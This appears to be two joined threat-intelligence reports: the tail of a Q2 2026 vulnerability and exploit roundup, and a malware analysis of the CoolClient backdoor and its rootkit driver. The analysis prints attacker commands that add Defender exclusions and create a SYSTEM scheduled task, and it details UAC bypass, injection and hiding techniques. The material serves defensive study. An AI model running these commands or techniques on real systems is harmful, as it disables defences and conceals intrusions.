• CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
• CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
• CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
• CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
• CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
• CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

Most common published exploits

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

Distribution of published exploits by platform, Q1 2026 (download)

Distribution of published exploits by platform, Q2 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
• CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

LLM/AI tool vulnerabilities

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

The chart below covers registered vulnerabilities in AI tools for 2025–2026.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

• Inadequate access control over critical system objects
• Improper implementation of authentication and authorization mechanisms
• Injections

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

The attack algorithm exploiting this vulnerability works as follows:

1. The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
2. There is no validation before use.
3. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
4. While connected, the application sends credentials (an access token) to the specified address.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

• User session compromise
• Execution of operations on the user’s behalf
• Modification of the AI agent configuration
• Unauthorized access to tools and resources connected to the agent
• Under certain OpenClaw configurations, further compromise of the host running the agent

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

CVE-2026-41948: a path traversal vulnerability in the Dify AI platform

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

Depending on the Dify configuration, the consequences can include:

• Unauthorized access to internal service interfaces
• Breach of isolation between workspaces
• Exposure of internal service information
• Conditions favorable to further attacks when combined with other vulnerabilities

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

CVE-2026-45386: an improper access control vulnerability in Open WebUI

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

The vulnerability’s mechanism works as follows:

1. The user initiates an action that changes the state of an object.
2. The application treats this action as a regular read request.
3. Only channel view permission is checked.
4. The application performs a write without verifying the required user authorization.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

CVE-2026-45501: a vulnerability in Microsoft Exchange

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Conclusion and advice

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Component	Description
defender.exe / Sang.exe	Legitimate Sangfor application abused for DLL sideloading
libsrapc.dll	Benign dependency required for the Sangfor application to execute normally
libngs.dll	First-stage loader that decrypts and loads the next stage into memory (First stage)
loadcert.ini	Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage)
cert.ini	Final-stage implant responsible for C2 communication and backdoor functionality (Final stage)
time.ini	CoolCleint configuration file

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

 

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

Parameter	Purpose
install	Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path.
work	Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading.
passuac	Continues execution after privilege elevation.

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

IOCTL	Purpose
0x222120	Registers the current CoolClient process with the driver.
0x2221E0	Sends the configured C2 IPv4 address to the driver.
0x2220F0	Registers filesystem and registry paths that should be protected or hidden.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The path contains several notable strings, including “Nanjing Laboratory” (南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Two REG_DWORD values control the driver’s operating mode:

Registry Value	Default	Description
Hid_State	1	Enables the driver’s rootkit functionality.
Hid_StealthMode	0	Controls additional stealth features used by selected driver routines.

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Registry Value	Purpose
Wid_H1deF5Dirs	Directories to hide
Wid_H1deF5Files	Files to hide
Wid_H1deRegKeys	Registry keys to hide
Wid_H1deRegValues	Registry values to hide
Hid_IgnoredImages	Processes to ignore
Hid_ProtectedImages	Processes to protect

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

• Object callbacks using ObRegisterCallbacks
• Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
• Image load callbacks using PsSetLoadImageNotifyRoutine

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

• 0x222120: registers the current CoolClient process with the driver.
• 0x2221E0: passes the configured C2 IPv4 address.
• 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

IOCTL	Handler	Functionality
0x222000	0x140001E04	Enable or disable the rootkit.
0x222004	0x1400020B0	Query the current rootkit state.
0x2220F0	0x140002320	●       Register protected filesystem or registry paths ●       Used by CoolClient to register its installation directory and service registry key.
0x2220F4	0x1400034DC	Remove a protected filesystem or registry path.
0x2220F8	0x140003464	Clear all protected filesystem and registry path entries.
0x222118	0x1400024B0	Register process or path protection entries.
0x22211C	0x140002A20	Query registered protection entries.
0x222120	0x140003794	Update process protection entries. Used by CoolClient to register itself as a trusted process.
0x222124	0x14000362C	Remove a protection entry.
0x222128	0x14000349C	Clear all process protection entries.
0x222130	0x14000265C	Register a protected process by PID.
0x222134	0x140010E88	Inject shellcode into a target process using NtCreateThreadEx.
0x222138	0x14000F498	Hide a kernel module by unlinking it from PsLoadedModuleList.
0x222144	0x14000270C	Delete a file.
0x222148	0x14000286C	Decrypt an embedded buffer and write it to disk.
0x22214C	0x1400027F4	Read and decrypt an encrypted file.
0x222168	0x140002780	Unmap the image section of a target process.
0x22216C	0x140013984	Terminate a process by PID.
0x222194	0x140011F50	Remove Protected Process Light (PPL) protection.
0x222198	0x140002940	Create or modify a registry value.
0x22219C	0x140010630	Hide a process by unlinking it from the active process list.
0x2221A0	0x140010670	Restore a previously hidden process.
0x2221A4	0x14000F8A0	Hide a module within a process.
0x2221A8	0x14000F954	Restore a hidden module.
0x2221AC	0x140016368	Enumerate and restore kernel notification callbacks.
0x2221B0	0x140016458	Disable or restore kernel notification callbacks.
0x2221B4	0x140012408	Manually load a secondary kernel driver.
0x2221B8	0x14001262C	Debug/test handler.
0x2221BC	0x1400165F6	Write to an arbitrary kernel address.
0x2221C0	0x14000BB00,  0x14000BB78	Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic.
0x2221C4	0x14000BB6C,  0x14000BB10	Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic.
0x2221E0	0x1400126C0	Register a C2 IPv4 address.
0x2221E4	0x140012E50	Delete a C2 IPv4 address.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
